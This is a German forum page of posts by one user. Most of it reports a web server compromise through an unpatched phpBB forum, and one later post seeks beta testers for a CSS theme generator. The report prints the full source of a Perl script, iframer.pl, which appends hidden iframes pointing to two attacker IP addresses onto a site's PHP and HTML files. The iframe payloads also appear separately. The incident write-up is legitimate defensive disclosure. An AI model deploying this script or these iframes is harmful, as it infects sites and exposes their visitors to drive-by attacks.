Beiträge von nexenator

Nach einer ersten Auswertung kamen die Angreifer bei uns über eine alte (vergessene) phpbb Installation ins Haus. Durchgeführt wurde der Angriff mit einem User-Agent libwww-perl, der bisher noch nicht auf unserer globalen deny list stand. Es wurde dabei eine (bekannte) Sicherheitslücke im alten phpbb ausgenutzt, die es dem Angreifer erlaubt hat eine eigene PHP-Datei von einem fremden Server nachzuladen. Dieses nachgeladene PHP-Script hat dann die im letzten Posting beschriebene iframer.pl auf den Server gelegt und diese ausgeführt.

Der Fehler lag also letztlich auf unserer Seite, da das alte Forum nicht gepatcht wurde.

Diesmal sind wir verhältnismäßig glimpflich davon gekommen, aber dies sollte nicht nur für uns eine Lehre gewesen sein: Immer alles updaten!!!

Heute hat es einen unserer Server erwischt. Ähnlich wie bei LonesomWolf wurden sehr viele Dateien überschrieben. Um genau zu sein: alle *index.php, *header.php, *footer.php, *.htm und *.html Dateien. Jeder dieser Dateien wurden zwei (2) iframes angehängt:

<iframe src="hXXp://124.217.252.62/~admin/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
  <iframe src="hXXp://203.169.139.76/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

(http durch hXXp getauscht)

Durchgeführt wurde dies mithilfe eines perl scripts namens iframer.pl welche folgenden code enthält:

#!/usr/bin/perl


use File::Find;


$iframe = '<iframe src="http://124.217.252.62/~admin/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://203.169.139.76/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>';


sub process_file {
if($File::Find::name =~ /index\.php/i || $File::Find::name =~ /footer\.php/i || $File::Find::name =~ /header\.php/i || $File::Find::name =~/\.htm$/i || $File::Find::name =~/\.html$/i){
open(FILE,">>$File::Find::name");
print $File::Find::name."\r\n";
print FILE $iframe;
close(FILE);
}
}
find(\&process_file,@ARGV);

Die Logfiles werden zur Zeit noch ausgewertet. Daher ist momentan noch unklar auf welche Weise diese iframer.pl auf den Server gelangt ist und wie sie ausgeführt wurde. Fest steht, dass der Angriff unmittelbar (innerhalb von ca.10 min und zeitgleich mit Listung in Google-Blog-Suche) nach einem neuen Blogpost per WordPress 2.5.1 erfolgte. Ob dies aber nur Zufall war oder ob tatsächlich ein Zusammenhang besteht ist derzeit ebenfalls noch unklar.

LonesomWolf: bei welchem Provider liegt Dein Blog? Hast Du möglicherweise auch eine iframer.pl oder ähnliches auf den server gelegt bekommen?

Andere Mozilla Browser (Safari/Opera etc) werden sicher noch dazu kommen. Dies wird aber noch dauern.

Die Anmeldung ist leider nötig, da man seine Designs speichern und optional veröffentlichen bzw. zum Tausch anbieten kann. Möglicherweise wird die Anmeldung nicht mehr nötig sein, wenn der iStylr aus der Beta ist. Zumindest wird man dann ohne Anmeldung testen können. Für den Theme Export wird die Anmeldung aber immer nötig bleiben.

Hallo,

ich suche nach neugierigen WordPress Nutzern, die den iStylr, einen kostenlosen online CSS Template und Theme Generator, auf Herz und Nieren testen möchten.

Online CSS Web2.0 Template Generator

oder

istylr Blog

Freue mich auf Euer Feedback,
Stephan